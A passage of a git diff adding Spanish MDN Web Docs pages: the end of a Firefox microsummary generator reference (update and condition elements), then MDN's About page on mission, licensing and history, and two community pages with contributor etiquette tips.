+  <code><a href="#The_.3Ccondition.3E_element">&lt;condition&gt;</a></code> (opcional)</dt>
+ <dd>
+  Una expresión XPath booleana junto con el intervalo de tiempo (en minutos) que debe de transcurrir entre las actualizaciones si la expresión se evalua a true.</dd>
+</dl>
+<p>El atributo <code>interval</code> define un intervalo absoluto en minutos. Su valor debe de ser un número mayor o igual que 1. Los valores decimales (p.e.: 5.5 minutos) están permitidos aunque probablemente no sean útiles.</p>
+<p>El elemento <code>&lt;update&gt;</code> puede contener cualquier número de elementos hijos <code>&lt;condition&gt;</code>.</p>
+<p>Firefox determina qué intervalo aplicar a un microrresumen generado por un generador de acuerdo a las siguiente reglas:</p>
+<ol>
+ <li>Firefox procesa cada elemento hijo <code>&lt;condition&gt;</code> en el orden en el que aparecen en el documento. Para cada uno, Firefox evalúa la expresión XPath booleana del elemento contra la página que va a ser resumida. Si la expresión se evalúa a <code>true</code>, Firefox aplicará el intervalo de ese elemento y detendrá el procesado de los elementos hijos. Así, la primera <code>&lt;condition&gt;</code> que coincida determinará el intervalo de actualización.</li>
+</ol>
+<ol>
+ <li>Si no hay elementos hijos <code>&lt;condition&gt;</code> o si ninguna de sus expresiones se evalúa a <code>true</code>, Firefox aplicará el valor del atributo <code>interval</code> del elemento <code>&lt;update&gt;</code>.</li>
+</ol>
+<ol>
+ <li>Si el elemento <code>&lt;update&gt;</code> no incluye un atributo <code>interval</code>, Firefox aplicará el intervalo especificado por la entrada browser.microsummary.updateInterval en las preferencias.</li>
+</ol>
+<ol>
+ <li>Si esa entrada no ha sido establecida, Firefox aplicará su intervalo de actualización por defecto, el cual dura 30 minutos.</li>
+</ol>
+<p><b>Notas:</b></p>
+<ul>
+ <li>Independientemente del intervalo absoluto o condicional de actualización especificado por este elemento, Firefox nunca actualizará los microrresúmenes con una frecuencia superior a un minuto.</li>
+ <li>Dado que Firefox comprueba los microrresúmenes caducados cada 15 segundos, es posible que la actualización de un microrresumen comience hasta 15 segundos después de lo que indica su intervalo.</li>
+ <li>Firefox respeta la caché del navegador cuando actualiza los microrresúmenes por lo que no recargará una página para actualizar su microrresumen si la caché contiene una copia reciente de la página.</li>
+</ul>
+<h2 id="El_elemento_.3Ccondition.3E" name="El_elemento_.3Ccondition.3E">El elemento <code>&lt;condition&gt;</code></h2>
+<p>El elemento opcional <code>&lt;condition&gt;</code> especifica una expresión XPath booleana junto con un intervalo de tiempo condicional (en minutos) que debe de transcurrir entre las actualizaciones si la expresión se evalúa a true cuando se evalúa contra la página que va a ser resumida. Debe de ser hijo del elemento <code>&lt;update&gt;</code>.</p>
+<p><b>Atributos:</b></p>
+<dl>
+ <dt>
+  <code>expression</code> (requerido)</dt>
+ <dd>
+  Una expresión XPath booleana para ser evaluada contra la página que va a ser resumida.</dd>
+ <dt>
+  <code>interval</code> (requerido)</dt>
+ <dd>
+  Un intervalo de tiempo, en minutos, que debe de transcurrir entre las actualizaciones si la expresión se evalúa a <code>true</code>.</dd>
+</dl>
+<p><b>Elementos hijos:</b></p>
+<p>
+ <i>
+  Ninguno.</i>
+</p>
+<p>Para más información acerca del uso de este elemento, véase la entrada para <a href="#The_.3Cupdate.3E_element">#The_&lt;update&gt;_element</a>.</p>
+<h2 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h2>
+<ul>
+ <li><a href="es/Crear_un_microrresumen">Crear un microrresumen</a></li>
+ <li><a href="es/XSLT">XSLT</a></li>
+</ul>
diff --git a/files/es/mdn/about/index.html b/files/es/mdn/about/index.html
new file mode 100644
index 0000000000..1d6e739428
--- /dev/null
+++ b/files/es/mdn/about/index.html
@@ -0,0 +1,145 @@
+---
+title: Acerca de MDN
+slug: MDN/About
+tags:
+  - Colaboración
+  - Comunidad
+  - Derechos de Autor
+  - Documentación
+  - Guía
+  - Licencias
+  - MDN Meta
+translation_of: MDN/About
+---
+<div>{{MDNSidebar}}</div>
+
+<div>{{IncludeSubNav("/es/docs/MDN")}}</div>
+
+<p>MDN Web Docs es una plataforma de aprendizaje para las tecnologías Web y el software con el que funciona la Web, incluyendo:</p>
+
+<ul>
+ <li>Estándares Web como <a href="/es/docs/CSS">CSS</a>, <a href="/es/docs/HTML">HTML</a>, y <a href="/es/docs/JavaScript">JavaScript</a></li>
+ <li><a href="/es/docs/Apps">Desarrollo de aplicaciones para Web Abierta</a></li>
+ <li><a href="/es/docs/Add-ons">Desarrollo de complementos para Firefox</a></li>
+</ul>
+
+<h2 id="Nuestra_Misión">Nuestra Misión</h2>
+
+<p><span id="result_box" lang="es"><span>La misión de MDN es simple: Proporcionar a los desarrolladores la información que necesitan para construir fácilmente proyectos en la <a href="/es/docs/Web/Demos_of_open_web_technologies">Web abierta</a>.</span> <span>Si se trata de una tecnología expuesta en la Web Abierta, queremos documentarla.</span></span></p>
+
+<p><span id="result_box" lang="es">Además, proporcionamos documentación sobre los <a href="/en-US/docs/Mozilla">productos de Mozilla</a> y cómo <a href="/es/docs/Participar_en_el_proyecto_Mozilla">crear y contribuir a los proyectos de Mozilla</a>. También nos ocupamos del <a href="/es/docs/Mozilla/B2G_OS">B2G OS</a> (antes Firefox OS).</span></p>
+
+<p><span id="result_box" lang="es">Si no está seguro si un tema en particular debe ser ofrecido en MDN, lea: <a href="/en-US/docs/MDN/Contribute/Guidelines/Does_this_belong_on_MDN">¿Pertenece esto a MDN?</a></span></p>
+
+<h2 id="Cómo_puede_ayudar">Cómo puede ayudar</h2>
+
+<p><span id="result_box" lang="es">¡No necesitas ser capaz de codificar —o escribir bien— para poder colaborar en MDN!. Tenemos un montón de maneras con las que puede ayudar, desde revisar artículos para asegurarse de que tengan sentido, o contribuir con texto, hasta agregar código de ejemplo. De hecho, hay tantas maneras de ayudar que tenemos una <a href="/es/docs/MDN/Comenzando">Página de inicio</a> que le ayuda a elegir tareas que hacer, en función de sus intereses. ¡Y cuánto tiempo tiene disponible!.</span></p>
+
+<p>También puede ayudar <a href="/es/docs/MDN/Promociona">promocionando MDN</a> en su propio blog o sitio web.</p>
+
+<h2 id="La_Comunidad_MDN">La Comunidad MDN</h2>
+
+<p>¡Somos una comunidad global! Contamos con colaboradores increíbles de todo el mundo, en múltiples idiomas. Si desea aprender más sobre nosotros, o si necesita cualquier tipo de ayuda  con MDN. ¡Tómese la libertad de consultar nuestra<a href="http://lists.mozilla.org/listinfo/dev-mdc"> </a><a href="https://discourse.mozilla-community.org/c/mdn">foro de discusión</a> o el <a href="irc://irc.mozilla.org#mdn">Canal IRC</a>!</p>
+
+<div class="overheadIndicator communitybox" dir="ltr">
+<div class="column-container">
+<h2 id="Uneté_a_la_comunidad_MDN">Uneté a la comunidad MDN</h2>
+
+<div class="column-half">
+<div class="communitysubhead">Escoge tu método preferido para unirte al tema:</div>
+
+<ul class="communitymailinglist">
+ <li><a class="external external-icon" href="https://lists.mozilla.org/listinfo/dev-mdc">Lista de e-mail</a></li>
+ <li><a class="external external-icon" href="https://twitter.com/MozDevNet">Twitter</a></li>
+ <li><a class="external external-icon" href="http://groups.google.com/group/mozilla.dev.mdc">Grupo Google</a></li>
+ <li><a class="external external-icon" href="http://groups.google.com/group/mozilla.dev.mdc/feeds">RSS feed</a></li>
+</ul>
+</div>
+
+<div class="column-half">
+<ul class="communitycontact">
+ <li><strong>IRC: </strong><a href="irc://irc.mozilla.org/mdn">#mdn</a> <span class="smaller">(<a class="external external-icon" href="https://wiki.mozilla.org/IRC">Aprender más</a>)</span></li>
+ <li><strong>Reuniones: </strong><a class="external external-icon" href="https://wiki.mozilla.org/MDN/Community_meetings">Todos los miércoles en IRC</a></li>
+ <li><strong>Eventos: </strong><a class="external external-icon" href="https://www.google.com/calendar/embed?src=mozilla.com_2d35383434313235392d323530%40resource.calendar.google.com&amp;ctz=America/Chicago">Eventos comunidad MDN </a></li>
+</ul>
+</div>
+</div>
+</div>
+
+<p>Consulta el foro de documentación para desarrolladores:</p>
+
+<ul>
+ <li>Únete a la conversación de IRC en el canal <a href="irc://irc.mozilla.org/mdn" title="irc://irc.mozilla.org/devmo">#mdn</a></li>
+ <li>Únete a nuestras <a href="https://wiki.mozilla.org/MDN/Community_meetings/" title="https://wiki.mozilla.org/MDN/Community_meetings/">reuniones</a><span class="short_text" id="result_box" lang="es"><span> de la comunidad publican</span></span></li>
+</ul>
+
+<h2 id="Derechos_de_autor_y_Licencias">Derechos de autor y Licencias</h2>
+
+<p>Los <strong>documentos wiki MDN</strong> se han preparado con las contribuciones de muchos autores, tanto dentro como fuera de la Fundación Mozilla. A menos que se indique lo contrario, los contenidos están disponibles bajo los términos de la <a class="external text" href="http://creativecommons.org/licenses/by-sa/2.5/" rel="nofollow" title="http://creativecommons.org/licenses/by-sa/2.5/">Licencia Creative Commons: Attribution-Sharealike</a> v2.5 o cualquier versión posterior. Por favor atribúyalos a los "Colaboradores Mozilla" e incluya un hipervínculo (en línea) o URL (en formato impreso) a la Wiki específica para el contenido referenciado.</p>
+
+<blockquote>
+<p><a href="https://developer.mozilla.org/en-US/docs/MDN/About">Acerca de MDN</a> realizado por <a href="https://developer.mozilla.org/en-US/docs/MDN/About$history">Colaboradores Mozilla</a> se distribuye bajo licencia <a href="http://creativecommons.org/licenses/by-sa/2.5/">CC-BY-SA 2.5</a>.</p>
+</blockquote>
+
+<p><span id="result_box" lang="es"><span>Tenga en cuenta que el ejemplo, "Colaboradores de Mozilla" enlaza con el historial de la página citada.</span> <span>Vea  <a href="https://wiki.creativecommons.org/wiki/Best_practices_for_attribution">Las mejores prácticas para la atribución</a> si desea una explicación más detallada.</span></span></p>
+
+<div class="note">
+<p><strong>Nota:</strong> Vea <a href="/es/docs/MDN_content_on_WebPlatform.org">el contenido de MDN en WebPlatform.org</a> para información acerca de como reutilizar y atribuir contenido MDN en ese sitio.</p>
+</div>
+
+<p>Los códigos de ejemplo agregados a esta Wiki antes del 20 de Agosto de 2010 están disponibles bajo la <a class="external" href="http://www.opensource.org/licenses/mit-license.php" title="http://www.opensource.org/licenses/mit-license.php">Licencia MIT</a>; utilice la siguiente información de atribución: "© &lt;fecha de la última revisión de la Wiki&gt; &lt;nombre de la persona que lo colocó en la Wiki&gt;".</p>
+
+<p>Los códigos de ejemplo agregados durante o después del 20 de Agosto de 2010 quedan bajo <a class="external" href="http://wiki.creativecommons.org/Public_domain" title="http://wiki.creativecommons.org/Public_domain">dominio público</a>. <span id="result_box" lang="es"><span class="hps">Puedes utilizar el</span> <span class="hps">siguiente aviso</span> <span class="hps">si es necesario:</span> <span class="hps">"Cualquier</span> derecho de <span class="hps">autor</span> <span class="hps">se dedica</span> <span class="hps">al dominio público</span><span>.  </span></span><a href="http://creativecommons.org/publicdomain/zero/1.0/">http://creativecommons.org/publicdomain/zero/1.0/</a> <span lang="es"><span>"</span></span></p>
+
+<p><span id="result_box" lang="es"><span>Si deseas contribuir al wiki, debes hacer que tu documentación esté disponible bajo la licencia de Attribution-ShareAlike (u ocasionalmente una licencia alternativa ya especificada por la página que estás editando), y los ejemplos de código disponibles bajo licencia <a href="http://creativecommons.org/publicdomain/zero/1.0/">Creative Commons CC-0</a></span> (<span>Dedicada al dominio público).</span> <span>Añadir  contenido a este wiki significa que aceptas que tus contribuciones estén disponibles bajo esas licencias.</span></span></p>
+
+<p><span id="result_box" lang="es"><span>Algunos contenidos antiguos se pusieron a disposición bajo una licencia distinta de las licencias mencionadas anteriormente.</span> <span>Estos se indican en la parte inferior de cada página a través de un <a href="https://developer.mozilla.org/Archive/Meta_docs/Examples/Alternate_License_Block">Bloque de Licencia Alternativo</a>.</span></span></p>
+
+<div class="warning">
+<p><span lang="es"><span>No se pueden crear nuevas páginas utilizando licencias alternativas.</span></span></p>
+</div>
+
+<p><strong>Los derechos de autor sobre el material publicado permanecen con el autor a menos que este los asigne a otra persona.</strong></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Si t</span><span class="hps">ienes alguna pregunta</span> <span class="hps">o inquietud sobre</span> <span class="hps">algo</span> <span class="hps">expuesto</span> <span class="hps">aquí, por favor</span> <span class="hps">contacta con</span> </span><a class="external" href="mailto:eshepherd@mozilla.com" rel="nofollow" title="mailto:eshepherd@mozilla.com">Eric Shepherd</a>.</p>
+
+<hr>
+<p>Los derechos sobre las marcas comerciales, logotipos, marcas al servicio de la Fundación Mozilla, así como la apariencia de este sitio Web, no se encuentran bajo la licencia Creative Commons, están exentos. Se reconoce que son obras de autoría (como logotipos y diseños gráficos), y no están incluidos en el trabajo que se autoriza bajo esos términos. Si utilizas el texto de los documentos, y deseas también usar cualquiera de estos derechos, o si tienes cualquier otra pregunta sobre el cumplimiento de nuestros términos de licencia para esta colección, contacta con la Fundación Mozilla por este medio: <a class="external text" href="mailto:licensing@mozilla.org" rel="nofollow" title="mailto:licensing@mozilla.org">licensing@mozilla.org</a>.</p>
+
+<h3 id="Descarga_de_contenido">Descarga de contenido</h3>
+
+<div style="width: 100%;"> </div>
+
+<div id="gt-input-tool">
+<div dir="ltr" style="zoom: 1;"><span id="result_box" lang="es"><span>Puede descargar un <a href="https://developer.mozilla.org/media/developer.mozilla.org.tar.gz">espejo tarball completo de MDN</a>.</span> <span>(2.5 GB a partir de 2016-11-30).</span></span></div>
+
+<div dir="ltr" style="zoom: 1;"> </div>
+
+<h4 dir="ltr" id="Páginas_únicas" style="zoom: 1;"><span lang="es"><span>Páginas únicas</span></span></h4>
+
+<p dir="ltr"><span id="result_box" lang="es"><span>Puede recuperar el contenido de una  página  única en MDN agregando <a href="/en-US/docs/MDN/Contribute/Tools/Document_parameters#Document_parameters">parámetros de documento</a> a la URL para especificar el formato que desea.</span></span></p>
+
+<h4 dir="ltr" id="Herremientas_de_terceros"><span lang="es"><span>Herremientas de terceros</span></span></h4>
+
+<p dir="ltr"><span id="result_box" lang="es"><span>Puede ver el contenido de MDN a través de herramientas de terceros como <a href="https://kapeli.com/dash">Dash</a> (para Mac OS) y <a href="https://zealdocs.org/">Zeal</a> (para Linux y Windows).</span></span></p>
+
+<p dir="ltr"><span id="result_box" lang="es"><span><a href="https://kapeli.com/">Kapeli</a> también publica <a href="https://kapeli.com/mdn_offline">documentos offline de MDN</a> que cubren HTML, CSS, JavaScript, SVG y XSLT.</span></span></p>
+
+<h3 dir="ltr" id="Vincular_a_MDN"><span lang="es"><span>Vincular a MDN</span></span></h3>
+
+<p dir="ltr"><span id="result_box" lang="es"><span>Consulte este artículo para obtener orientación sobre cómo <a href="/en-US/docs/MDN/About/Linking_to_MDN">vincular a MDN</a> para obtener las mejores prácticas al enlazar.</span></span></p>
+
+<h2 dir="ltr" id="Informar_de_problemas_en_MDN"><span lang="es"><span>Informar de problemas en MDN</span></span></h2>
+
+<p dir="ltr"><span class="short_text" id="result_box" lang="es"><span>Consulte <a href="/en-US/docs/MDN/Contribute/Howto/Report_a_problem">Cómo informar de un problema en MDN</a>.</span></span></p>
+
+<h2 dir="ltr" id="Historia_de_MDN">Historia de MDN</h2>
+
+<p>El proyecto para el Centro de Desarrollo Mozilla (a.k.a. MDC, a.k.a. <em>Devmo</em>) comenzó a principios de 2005, cuando la <a class="external" href="http://www.mozillafoundation.org">Fundación Mozilla </a><a href="/en-US/foundation/"> </a>obtuvo una licencia de AOL para utilizar el contenido original Netscape <a href="/Project:en/DevEdge" title="Project:en/DevEdge">DevEdge</a>. El contenido DevEdge fue revisado en busca de material todavía útil, que luego fue migrado por voluntarios en este Wiki para que fuera más fácil de actualizar y mantener.</p>
+
+<p>Desde entonces, el proyecto ha seguido creciendo y ahora forma un nexo central para toda la documentación de desarrollo relacionada con el proyecto Mozilla y las tecnologías de Web Abierta. En 2010, el nombre fue cambiado a Mozilla Developer Network. En 2011 se agregó <a class="external" href="/es/docs/Web/Demos_of_open_web_technologies" title="https://developer.mozilla.org/en-US/demos/">Demostraciones de Tecnologías de Web Abierta</a> para que los desarrolladores Web puedan compartir y mostrar su código y páginas de <a class="external" href="/es/docs/Learn" title="https://developer.mozilla.org/en-US/learn">aprendizaje</a> para proporcionar enlaces a los tutoriales. (El nombre de MDC viene de "MDN Doc Center" de la sección de documentación). Se espera que con el tiempo la Red de Desarrolladores de Mozilla se convierta en un recurso que los diseñadores Web, desarrolladores de aplicaciones, de extensiones y escritores visiten de forma regular.</p>
+
+<h2 id="Acerca_de_Mozilla">Acerca de Mozilla</h2>
+
+<p>Si deseas aprender más acerca de quiénes somos, cómo ser parte de Mozilla, o simplemente, dónde encontrarnos, estás en el lugar correcto. Para saber lo que nos mueve y nos hace diferentes, por favor visita nuestra página de <a href="/es-ES/mission/">misión</a>.</p>
+</div>
diff --git a/files/es/mdn/comunidad/index.html b/files/es/mdn/comunidad/index.html
new file mode 100644
index 0000000000..fd3abc7f28
--- /dev/null
+++ b/files/es/mdn/comunidad/index.html
@@ -0,0 +1,54 @@
+---
+title: Únete a la comunidad de MDN web docs
+slug: MDN/Comunidad
+tags:
+  - Comunidad
+  - Documentación
+  - Guía
+  - Proyecto MDC
+translation_of: MDN/Community
+---
+<div>{{MDNSidebar}}</div>
+
+<div>{{IncludeSubnav("/es/docs/MDN")}}</div>
+
+<div class="summary">
+<p>La documentación de la web de MDN (MDN web docs) es más que un wiki: Es una comunidad de desarrolladores que trabajan unidos para hacer que MDN sea un excelente recurso para todos los desarrolladores que usen cualquier tecnología de la Open Web.</p>
+</div>
+
+<p>Nos gustaría mucho que contribuyeras a MDN, pero nos encantaría si además de contribuir participaras en la comunidad de MDN. Aquí te explicamos cómo ponerte en contacto en tres sencillos pasos:</p>
+
+<ol>
+ <li><a href="/es/docs/MDN/Contribute/Howto/Crear_cuenta_MDN">Crear cuenta MDN</a>.</li>
+ <li><a href="/en-US/docs/MDN/Community/Conversations">Join in conversations (aun no disponible en español)</a>.</li>
+ <li><a href="/es/docs/Project:MDN/Contribuyendo/Siga_lo_que_está_pasando">Siga lo que está pasando</a>.</li>
+</ol>
+
+<h2 id="Cómo_funciona_la_comunidad">Cómo funciona la comunidad</h2>
+
+<p>Aquí encontraras más artículos que describen a la comunidad de MDN.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt class="landingPageList"><a href="/en-US/docs/MDN/Community/Roles">Community roles</a></dt>
+ <dd class="landingPageList">No disponible en español por el momento.</dd>
+ <dt class="landingPageList"><a href="/en-US/docs/MDN/Community/Doc_sprints">Doc sprints</a></dt>
+ <dd class="landingPageList">No disponible en español por el momento</dd>
+ <dt class="landingPageList"><a href="/es/docs/Project:MDN/Contribuyendo/Siga_lo_que_está_pasando">Siga lo que está pasando</a></dt>
+ <dd class="landingPageList">MDN es auspiciado por <a class="external" href="https://wiki.mozilla.org/MDN"> La comunidad de la red de desarrolladores de Mozilla</a>. Aquí encontraras algunas maneras por las cuales compartimos información acerca de lo que estamos haciendo.</dd>
+</dl>
+
+<dl>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt class="landingPageList"><a href="/en-US/docs/MDN/Community/Conversations">MDN community conversations</a></dt>
+ <dd class="landingPageList">no disponible en español por el momento</dd>
+ <dt class="landingPageList"><a href="/es/docs/MDN/Contribute/Community">Trabajar con nuestra comunidad</a></dt>
+ <dd class="landingPageList">Una gran parte de contribuir a la documentación de MDN en cualquier aspecto es saber cómo trabajar dentro de la comunidad MDN. Este artículo te ofrece tips para ayudarte a aprovechar las interacciones con otros colaboradores y con los equipos de desarrolladores.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/es/mdn/contribute/community/index.html b/files/es/mdn/contribute/community/index.html
new file mode 100644
index 0000000000..a80a67a1b4
--- /dev/null
+++ b/files/es/mdn/contribute/community/index.html
@@ -0,0 +1,118 @@
+---
+title: Trabajando con nuestra comunidad
+slug: MDN/Contribute/Community
+tags:
+  - Comunidad
+  - Guía
+  - MDN Meta
+translation_of: MDN/Community/Working_in_community
+---
+<div>{{MDNSidebar}}</div>
+
+<p>Lo más importante para contribuir a la documentacion de MDN en cualquier escala es saber trabajar como parte de una comunidad. Este artículo brinda tips que te ayudarán a sacarle el máximo partido a tus interacciones con documentadores y el equipo de desarrolladores.</p>
+
+<h2 id="Reglas_generales_de_comportamiento.">Reglas generales de comportamiento.</h2>
+
+<p>Aquí encontraras algunas reglas generales de conducta para cuando trabajes en la comunidad Mozilla.</p>
+
+<ul>
+ <li>¡Se cortés! Incluso cuando no estés acuerdo, todos tenemos la misma misión: el mejoramiento de la Web.</li>
+ <li>Pide, no exijas. Es mucho más probable que las personas sean útiles y receptivas cuando solicita ayuda cortésmente en lugar de exigirla. Si bien el trabajo de documentación es importante, y nuestra comunidad de desarrolladores lo sabe, el instinto humano tiende a hacer que las personas sean agresivas y difíciles si no las tratas con el debido respeto.</li>
+ <li>Equilibra tu necesidad de información con la urgencia de la documentación y el tiempo que los demás participantes en tu discusión dedican a ayudarte. No sigas presionando para obtener más y más detalles si no es terriblemente urgente y necesario, hasta el punto de volver locos a los demás involucrados en la conversación.</li>
+ <li>Ten en cuenta que tu solicitud toma un tiempo valioso de las personas con las que estás contactando, así que asegúrate de aprovechar bien su tiempo.</li>
+ <li>Se consciente de las diferencias culturales. Mozilla es un equipo multinacional y multicultural, así que cuando hables con alguien cuya cultura sea  o pueda ser, diferente a la tuya, ten en cuenta eso mientras se comuniquen.</li>
+ <li>Inicia una conversacion nueva en vez de entrometerte en una existente. No pongas tus preguntas en una conversación sin relacion solo porque la gente con la que necesitas hablar está prestándole atención; mientras que esto podría ser conveniente para ti, esto puede molestar a las personas con las que intentas hablar, dando lugar a una experiencia lejos de ser ideal.</li>
+ <li>Evita {{interwiki("wikipedia", "bikeshedding")}} (trivialidad). No permitas que tu entusiasmo se transforme en una molesta pedanteria, esto hace las conversaciones desenfocadas y engorrosas.</li>
+</ul>
+
+<h2 id="Se_cortés">Se cortés</h2>
+
+<p>Siempre se diplomático y respetuoso cuando te comuniques con los demás.</p>
+
+<h3 id="Señalando_errores_cortésmente">Señalando errores cortésmente</h3>
+
+<p>Si tu propósito al contactar a alguien es pedirle que haga algo diferente o señalar un error que ha estado cometiendo (especialmente si lo hace repetidamente), comienza tu mensaje con un comentario positivo. Esto suaviza el golpe, por así decirlo, y demuestra que estás tratando de ayudar, en lugar de convertirte en 'el malo de la película'.</p>
+
+<p>Por ejemplo, si un colaborador nuevo ha estado creando muchas páginas sin etiquetas y te gustaría señalar este problema, tu mensaje podría verse así (las cosas que necesita cambiar para cada caso están subrayadas) :</p>
+
+<blockquote>
+<p>Hola, <u>MrBigglesworth</u>, he notado sus contribuciones <u>a la documentación de la API de Wormhole</u>, ¡y es fantástico contar con su ayuda! Me gusta especialmente <u>la forma en que equilibraste tu nivel de detalle con la legibilidad</u>. Dicho esto, sin embargo, podría hacer que estos artículos sean aún mejores y más útiles si <u>agrega las etiquetas correctas a las páginas</u> sobre la marcha.</p>
+
+<p><u>Consulte la guía de etiquetado de MDN (https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Tag) para obtener más detalles.</u></p>
+
+<p>Gracias de nuevo y espero sus futuras contribuciones.</p>
+</blockquote>
+
+<h2 id="Intercambiando_conocimiento">Intercambiando conocimiento</h2>
+
+<p>Al participar en el proyecto MDN, es útil saber lo que está pasando e interactuar con otros los demas miembros de nuestra comunidad. Al hacer esto, puedes compartir ideas, actualizaciones de estado y más. Además contamos con recursos y herramientas para ayudarte a saber que se está haciendo y por quiénes.</p>
+
+<h3 id="Canales_de_comunicación">Canales de comunicación</h3>
+
+<p>Existen varias formas en las que puedes participar con los miembros de la comunidad, ya sea con documentadores o desarrolladores, cada uno de los cuales tiene sus propias reglas de comportamiento.</p>
+
+<h4 id="Discourse_en_Inglés">Discourse (en Inglés)</h4>
+
+<p>El foro <a href="https://discourse.mozilla.org/c/mdn">MDN Discourse </a>es un buen lugar para hacer preguntas generales sobre la contribución a MDN y empezar discusiones.</p>
+
+<h4 id="Chat_en_Inglés">Chat (en Inglés)</h4>
+
+<p>Utiliza el sistema de chat Matrix para contactar con personas en tiempo real. Los miembros del personal de MDN están disponibles en la sala de <a href="https://chat.mozilla.org/#/room/#mdn:mozilla.org">MDN Web Docs </a> y están activos durante los días laborales en Europa y América del Norte. Explora las otras salas de chat para encontrar personas involucradas en temas que te interesen.</p>
+
+<h4 id="GitHub_en_Inglés">GitHub (en Inglés)</h4>
+
+<p>Si encuentras un problema en MDN, o deseas hacer una pregunta, ¡puedes presentar un problema en nuestro <a href="https://github.com/mdn/sprints/issues">repo de GitHub</a>! Luego serán evaluados y procesados en algún momento en el futuro.</p>
+
+<h4 id="Bugzilla">Bugzilla</h4>
+
+<p>Cuando escribes documentacion para cubrir los cambios implementados como consecuencia de un error en Bugzilla, podrás interactuar en ocasiones con las personas involucradas en estos errores. ¡Asegurate de tener <a href="https://bugzilla.mozilla.org/page.cgi?id=etiquette.html" title="https://bugzilla.mozilla.org/page.cgi?id=etiquette.html">guía de comportamiento Bugzilla</a> en mente todo el tiempo!</p>
+
+<h4 id="Email">Email</h4>
+
+<p>En ocasiones, el intercambio de correo electrónico privado entre tú y una o más personas es el camino a seguir, si tienes su dirección de correo electronico.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Como regla general, si alguien a publicado su email en los documentos sobre la tecnología que estás documentando, te ha dado su correo, o es un correo muy conocido, un correo es un buen medio para realizar el "primer contacto". Si tienes que buscarlo, probablemente deberías intentar obtener permiso para Discourse o una lista de correo primero, a menos que hayas agotado todos los demás recursos para ponerte en contacto.</p>
+</div>
+
+<h3 id="Estado_del_contenido">Estado del contenido</h3>
+
+<p>Tenemos varias herramientas útiles que te proporcionan información sobre el estado de la documentación.</p>
+
+<dl>
+ <dt><a href="/dashboards/revisions">Tablero de revisión</a></dt>
+ <dd>Esta es una herramienta fantástica para la revisión de los cambios realizados  en el contenido de MDN. Puedes ver el historial, seleccionar un rango de tiempo para ver, y filtrar por cosas como la configuración regional, nombre del contribuyente, y tema. Una vez que estés viendo la serie de revisiones, puedes ver los cambios realizados en cada una de ellas, abrir rápidamente la pagina, ver el historial completo o revertir cambios  (si tienes los permisos).</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/MDN/Doc_status/Overview">Visión general del estado de la documentación</a></dt>
+ <dd>Nuestra pagina de <a href="https://developer.mozilla.org/en-US/docs/MDN/Doc_status/Overview">vista del estado de documentación</a> provee una lista de todas las áreas de MDN que se han configurado para el seguimiento de estado, con información de algunas páginas y los diferentes trabajos que se necesitan. Haz click en un área en particular y mira un listado de los contenidos que necesitan trabajo, como páginas que no tienen etiquetas, o etiquetas que requieren cierto trabajo. Puedes ver una lista de páginas que no se han actualizado hace mucho tiempo, están desactualizados, o una lista de los errores encontrados y cómo han afectado a la documentación en esa área.</dd>
+ <dt><a href="/en-US/docs/MDN/Plans">Los planes del proyecto de documentación</a></dt>
+ <dd>Tenemos una serie de proyectos de escritura que se encuentran en etapa de planificación, o son grandes y se encuentran en curso, para los que se han escrito los documentos de planificación y así tener un registro de lo que tenemos que hacer.</dd>
+ <dt><a href="https://tree.taiga.io/project/viya-mdn-durable-team">MDN Taiga (en Inglés)</a></dt>
+ <dd>Los redactores del personal de MDN utilizan una herramienta llamada Taiga para gestionar proyectos de documentación actuales y futuros. Puedes echar un vistazo para ver lo que estamos haciendo y cómo va, también puedes ver qué proyectos nos gustaría que sucedan pronto. Algunos de ellos serán asumidos por escritores del personal, ¡pero no dudes en hacerte cargo de uno si lo deseas! Para obtener más información sobre los procesos ágiles que sigue el equipo de MDN, consulta nuestra página de procesos en la <a href="https://wiki.mozilla.org/Engagement/MDN_Durable_Team/Processes"> wiki de Mozilla.</a></dd>
+</dl>
+
+<h2 id="La_comunidad_de_desarrollo">La comunidad de desarrollo</h2>
+
+<p>Posiblemente las relaciones más importantes para desarrollar y mantener, como miembro de la comunidad de la escritura MDN, son las que mantengas  con los desarrolladores. Ellos crean el software que estamos desarrollando, pero también son la fuente más útil de información que tenemos. Es crucial que mantengamos buenas relaciones con los desarrolladores, ¡así es más probable que respondan a tus preguntas de forma rápida, precisa y adecuada!</p>
+
+<p>Además, representas a la comunidad de escritura MDN. Por favor, ayuda a asegurar que mantengamos nuestra excelente relación de trabajo con el equipo de desarrollo haciendo que cada interacción que tengan con el equipo de escritura sea la mejor posible.</p>
+
+<p>En una nota relacionada, una gran manera de encontrar a la persona adecuada para hablar es mirar la <a href="https://wiki.mozilla.org/Modules">lista de propietarios del módulo</a>.</p>
+
+<h2 id="La_comunidad_de_escritura">La comunidad de escritura</h2>
+
+<p>La comunidad de la escritura es grande. Mientras que el número de contribuyentes frecuentes o de gran escala es relativamente pequeño, hay muchas docenas o cientos de personas que contribuyen al menos de vez en cuando. Afortunadamente, se trata de personas impresionantes, con un amor genuino por la Web, Mozilla, y/o la documentación, además, la interacción con ellos es casi siempre bastante fácil.</p>
+
+<p>Mira el articulo <a href="/en-US/docs/MDN/Community" title="/en-US/docs/Project:MDN/Contributing/Join_the_community">Únete a la comunidad</a> para mas información acerca de la comunidad MDN.</p>
+
+<p> El lugar donde más frecuentemente podrás interactuar directamente con otros escritores es en el foro <a href="https://discourse.mozilla.org/c/mdn">Discourse.</a></p>
+
+<p><span id="result_box" lang="es"><span>Teniendo en cuenta la</span></span> {{anch("Guía general de comportamiento")}} , usted notará que las cosas salen bien por lo general.</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Project:MDN/Contributing" title="/en-US/docs/Project:MDN/Contributing">Contribuyendo con MDN</a></li>
+ <li><a href="/en-US/docs/Project:MDN/Contributing/Join_the_community" title="/en-US/docs/Project:MDN/Contributing/Join_the_community">Comunidad MDN</a></li>
+ <li><a href="http://matt.might.net/articles/how-to-email/" title="http://matt.might.net/articles/how-to-email/">Cómo enviar y respoder un email</a></li>
